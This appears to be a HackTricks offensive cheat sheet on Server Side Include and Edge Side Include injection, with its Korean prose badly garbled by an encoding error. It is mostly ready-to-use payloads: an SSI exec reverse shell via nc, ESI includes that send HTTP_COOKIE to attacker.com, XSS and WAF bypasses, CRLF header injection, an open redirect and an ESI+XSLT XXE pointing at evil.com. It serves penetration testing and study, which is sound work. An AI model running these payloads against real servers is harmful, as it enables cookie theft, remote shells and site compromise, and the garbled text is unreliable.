Server Side Inclusion/Edge Side Inclusion Injection
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
Server Side Inclusion Basic Information
(Introduction taken from Apache docs)
SSI (μλ² μ¬μ΄λ ν¬ν¨)λ HTML νμ΄μ§μ λ°°μΉλκ³ , νμ΄μ§κ° μ 곡λλ λμ μλ²μμ νκ°λλ μ§μμ΄μ
λλ€. μ΄λ₯Ό ν΅ν΄ κΈ°μ‘΄ HTML νμ΄μ§μ λμ μΌλ‘ μμ±λ μ½ν
μΈ λ₯Ό μΆκ°ν μ μμΌλ©°, μ 체 νμ΄μ§λ₯Ό CGI νλ‘κ·Έλ¨μ΄λ λ€λ₯Έ λμ κΈ°μ μ ν΅ν΄ μ 곡ν νμκ° μμ΅λλ€.
μλ₯Ό λ€μ΄, κΈ°μ‘΄ HTML νμ΄μ§μ λ€μκ³Ό κ°μ μ§μμ΄λ₯Ό λ°°μΉν μ μμ΅λλ€:
<!--#echo var="DATE_LOCAL" -->
κ·Έλ¦¬κ³ νμ΄μ§κ° μ 곡λ λ, μ΄ μ‘°κ°μ νκ°λμ΄ κ·Έ κ°μΌλ‘ λ체λ©λλ€:
Tuesday, 15-Jan-2013 19:28:54 EST
SSIλ₯Ό μ¬μ©ν μμ κ³Ό νμ΄μ§λ₯Ό μμ ν νλ‘κ·Έλ¨μ μν΄ μμ±ν μμ μ κ²°μ μ μΌλ°μ μΌλ‘ νμ΄μ§μ μ μ λΆλΆκ³Ό νμ΄μ§κ° μ 곡λ λλ§λ€ μ¬κ³μ°ν΄μΌ νλ λΆλΆμ μμ λ°λΌ λ¬λΌμ§λλ€. SSIλ μμ νμλ νμ¬ μκ°κ³Ό κ°μ μμ μ 보 μ‘°κ°μ μΆκ°νλ νλ₯ν λ°©λ²μ λλ€. κ·Έλ¬λ νμ΄μ§μ λλΆλΆμ΄ μ 곡λ λ μμ±λλ€λ©΄, λ€λ₯Έ ν΄κ²°μ± μ μ°ΎμμΌ ν©λλ€.
μΉ μ ν리μΌμ΄μ
μ΄ .shtml, .shtm λλ .stm νμ₯μλ₯Ό κ°μ§ νμΌμ μ¬μ©νλ€λ©΄ SSIμ μ‘΄μ¬λ₯Ό μΆλ‘ ν μ μμ§λ§, κ·Έκ²λ§μ΄ μ λΆλ μλλλ€.
μ νμ μΈ SSI ννμμ λ€μ νμμ κ°μ§λλ€:
<!--#directive param="value" -->
νμΈ
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
Edge Side Inclusion
μ 보λ₯Ό μΊμ±νκ±°λ λμ μ ν리μΌμ΄μ
μ μΌλΆλ‘μ μ½ν
μΈ κ° λ€μ λ²μ μ½ν
μΈ λ₯Ό κ²μν λ λ€λ₯Ό μ μλ€λ λ¬Έμ κ° μμ΅λλ€. μ΄κ²μ΄ ESIκ° μ¬μ©λλ μ΄μ λ‘, ESI νκ·Έλ₯Ό μ¬μ©νμ¬ μΊμ λ²μ μ μ μ‘νκΈ° μ μ μμ±ν΄μΌ νλ λμ μ½ν
μΈ λ₯Ό λνλ
λλ€.
λ§μ½ 곡격μκ° μΊμ μ½ν
μΈ λ΄μ ESI νκ·Έλ₯Ό μ£Όμ
ν μ μλ€λ©΄, κ·Έλ λ¬Έμκ° μ¬μ©μμκ² μ μ‘λκΈ° μ μ μμμ μ½ν
μΈ λ₯Ό μ£Όμ
ν μ μμ΅λλ€.
ESI Detection
μλ²μ μλ΅μμ λ€μ ν€λλ μλ²κ° ESIλ₯Ό μ¬μ©νκ³ μμμ μλ―Έν©λλ€:
Surrogate-Control: content="ESI/1.0"
μ΄ ν€λλ₯Ό μ°Ύμ μ μλ€λ©΄, μλ²λ μ΄μ¨λ ESIλ₯Ό μ¬μ©νκ³ μμ μ μμ΅λλ€.
λΈλΌμΈλ μ΅μ€νλ‘μ μ κ·Ό λ°©μλ μ¬μ©ν μ μμ΅λλ€. μμ²μ΄ 곡격μμ μλ²μ λμ°©ν΄μΌ ν©λλ€:
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
ESI μ·¨μ½μ
GoSecureλ λ€μν ESI μ§μ μννΈμ¨μ΄μ λν΄ μλν μ μλ κ°λ₯ν 곡격μ μ΄ν΄νκΈ° μν νλ₯Ό μμ±νμ΅λλ€. μ΄λ μ§μλλ κΈ°λ₯μ λ°λΌ λ€λ¦ λλ€:
- Includes:
<esi:includes>μ§μμ΄λ₯Ό μ§μν©λλ€. - Vars:
<esi:vars>μ§μμ΄λ₯Ό μ§μν©λλ€. XSS νν°λ₯Ό μ°ννλ λ° μ μ©ν©λλ€. - Cookie: λ¬Έμ μΏ ν€λ ESI μμ§μ μ κ·Όν μ μμ΅λλ€.
- Upstream Headers Required: μμ μ ν리μΌμ΄μ μ΄ ν€λλ₯Ό μ 곡νμ§ μμΌλ©΄ λ체 μ ν리μΌμ΄μ μ ESI λ¬Έμ₯μ μ²λ¦¬νμ§ μμ΅λλ€.
- Host Allowlist: μ΄ κ²½μ° ESI ν¬ν¨μ νμ©λ μλ² νΈμ€νΈμμλ§ κ°λ₯νλ―λ‘, μλ₯Ό λ€μ΄ SSRFλ ν΄λΉ νΈμ€νΈμ λν΄μλ§ κ°λ₯ν©λλ€.
| μννΈμ¨μ΄ | Includes | Vars | μΏ ν€ | μμ ν€λ νμ | νΈμ€νΈ νμ΄νΈλ¦¬μ€νΈ |
|---|---|---|---|---|---|
| Squid3 | μ | μ | μ | μ | μλμ€ |
| Varnish Cache | μ | μλμ€ | μλμ€ | μ | μ |
| Fastly | μ | μλμ€ | μλμ€ | μλμ€ | μ |
| Akamai ESI ν μ€νΈ μλ² (ETS) | μ | μ | μ | μλμ€ | μλμ€ |
| NodeJS esi | μ | μ | μ | μλμ€ | μλμ€ |
| NodeJS nodesi | μ | μλμ€ | μλμ€ | μλμ€ | μ νμ |
XSS
λ€μ ESI μ§μμ΄λ μλ²μ μλ΅ λ΄μμ μμμ νμΌμ λ‘λν©λλ€.
<esi:include src=http://attacker.com/xss.html>
ν΄λΌμ΄μΈνΈ XSS λ³΄νΈ μ°ν
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
μΏ ν€ νμΉκΈ°
- μ격 μΏ ν€ νμΉκΈ°
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
- XSSλ₯Ό μ¬μ©νμ¬ μλ΅μ λ°μνμ¬ HTTP_ONLY μΏ ν€λ₯Ό νμΉκΈ°:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# It's possible to put more complex JS code to steal cookies or perform actions
Private Local File
μ΄κ²μ βLocal File Inclusionβκ³Ό νΌλνμ§ λ§μμμ€:
<esi:include src="secret.txt">
CRLF
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
Open Redirect
λ€μμ μλ΅μ Location ν€λλ₯Ό μΆκ°ν©λλ€.
<!--esi $add_header('Location','http://attacker.com') -->
ν€λ μΆκ°
- κ°μ μμ²μ ν€λ μΆκ°
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
- μλ΅μ ν€λ μΆκ° (XSSκ° μλ μλ΅μμ βContent-Type: text/jsonβ μ°νμ μ μ©)
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
# Check the number of url_decode to know how many times you can URL encode the value
CRLF in Add header (CVE-2019-2438)
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
Akamai debug
μ΄κ²μ μλ΅μ ν¬ν¨λ λλ²κ·Έ μ 보λ₯Ό μ μ‘ν©λλ€:
<esi:debug/>
ESI + XSLT = XXE
eXtensible Stylesheet Language Transformations (XSLT) ꡬ문μ ESIμμ μ¬μ©ν μ μμΌλ©°, λ¨μ§ dca κ°μ **xslt**λ‘ μ§μ νλ©΄ λ©λλ€. μ΄λ XSLTλ₯Ό μ
μ©νμ¬ XML μΈλΆ μν°ν° μ·¨μ½μ (XXE)μ μμ±νκ³ μ
μ©ν μ μκ² ν μ μμ΅λλ€:
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
XSLT νμΌ:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
XSLT νμ΄μ§λ₯Ό νμΈνμΈμ:
XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
μ°Έκ³ λ¬Έν
- https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
- https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
- https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91
λΈλ£¨νΈ ν¬μ€ νμ§ λͺ©λ‘
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


